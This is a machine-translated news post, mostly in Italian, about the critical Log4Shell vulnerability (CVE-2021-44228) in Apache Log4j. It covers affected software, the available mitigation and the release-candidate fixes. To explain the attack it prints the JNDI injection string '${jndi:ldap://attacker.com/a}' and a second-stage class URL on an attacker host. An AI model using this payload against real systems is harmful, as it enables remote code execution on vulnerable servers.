{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Vulnerabilit\u00e0 critica in Apache Log4j che colpisce molti progetti Java","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

In Apache Log4j, un popolare framework per la gestione dei log nelle applicazioni Java, \u00e8 stata rilevata una vulnerabilit\u00e0 critica che consente l'esecuzione di codice arbitrario durante la registrazione di un valore appositamente formattato nel formato \u00ab{jndi:URL}\u00bb. L'attacco pu\u00f2 essere eseguito su applicazioni Java che registrano valori ottenuti da fonti esterne, ad esempio, durante la visualizzazione di valori problematici nei messaggi di errore. <\/p>\n

It is noted that nearly all projects using frameworks such as Apache Struts, Apache Solr, Apache Druid, or Apache Flink are vulnerable, including Steam, Apple iCloud, and the clients and servers of the game Minecraft. A wave of mass attacks on corporate applications is expected due to this vulnerability, echoing the history of critical vulnerabilities in the Apache Struts framework, which is reportedly used in web applications for 65% of companies listed in the Fortune 100. Attempts to scan networks for vulnerable systems have already been recorded. <\/p>\n

Il problema \u00e8 aggravato dal fatto che \u00e8 gi\u00e0 stato pubblicato un exploit funzionante, ma le patch per le branch stabili non sono ancora disponibili. L'identificatore CVE non \u00e8 stato assegnato al momento. La correzione \u00e8 inclusa solo nella branch di test log4j-2.15.0-rc1. Per limitare l'esposizione all'attacco, si consiglia di impostare il parametro log4j2.formatMsgNoLookups su true. <\/p>\n

Il problema \u00e8 stato causato dal fatto che log4j supporta la gestione di maschere speciali \u00ab{}\u00bb nelle righe di log, in cui potevano essere eseguite richieste JNDI (Java Naming and Directory Interface). L'attacco consiste nel trasmettere una stringa con la sostituzione \u00ab${jndi:ldap:\/\/attacker.com\/a}\u00bb, durante la cui elaborazione log4j invier\u00e0 su un server<\/a> richiesta LDAP a attacker.com per il percorso del classe Java. Il percorso restituito server<\/a> dall'attaccante (ad esempio, http:\/\/second-stage.attacker.com\/Exploit.class) verr\u00e0 caricato ed eseguito nel contesto del processo corrente, permettendo all'attaccante di eseguire codice arbitrario nel sistema con i diritti dell'applicazione attuale. <\/p>\n

Supplemento 1: La vulnerabilit\u00e0 ha ricevuto l'identificatore CVE-2021-44228. <\/p>\n

Aggiornamento 2: \u00c8 stato identificato un modo per bypassare la protezione aggiunta nella versione log4j-2.15.0-rc1. \u00c8 stata proposta una nuova versione log4j-2.15.0-rc2 con una protezione pi\u00f9 completa contro la vulnerabilit\u00e0. Nel codice viene evidenziata una modifica relativa all'assenza di chiusura anomala in caso di utilizzo di un URL JNDI non formattato correttamente.
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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